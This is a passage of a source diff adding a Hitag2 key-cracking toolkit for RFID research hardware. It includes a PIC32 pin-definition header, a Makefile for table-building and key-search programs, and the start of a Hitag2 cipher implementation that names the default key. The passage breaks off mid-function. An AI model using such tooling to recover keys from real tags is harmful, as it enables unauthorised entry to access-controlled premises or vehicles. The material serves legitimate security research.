as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack2/Makefile b/tools/hitag2crack/crack2/Makefile new file mode 100644 index 000000000..3ec604530 --- /dev/null +++ b/tools/hitag2crack/crack2/Makefile @@ -0,0 +1,26 @@ +WARN=-Wall +INCLUDE=-I../include +CFLAGS=-c $(WARN) $(INCLUDE) +# Linux libs +LIBS=-pthread -D_GNU_SOURCE +# Mac libs +# LIBS= + +all: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o + cc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS) + cc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS) + cc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS) + +ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h + cc $(CFLAGS) ht2crack2utils.c + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +clean: + rm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest + +fresh: clean all diff --git a/tools/hitag2crack/crack2/hitagcrypto.c b/tools/hitag2crack/crack2/hitagcrypto.c new file mode 100644 index 000000000..2334f8288 --- /dev/null +++ b/tools/hitag2crack/crack2/hitagcrypto.c @@ -0,0 +1,487 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +//#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) 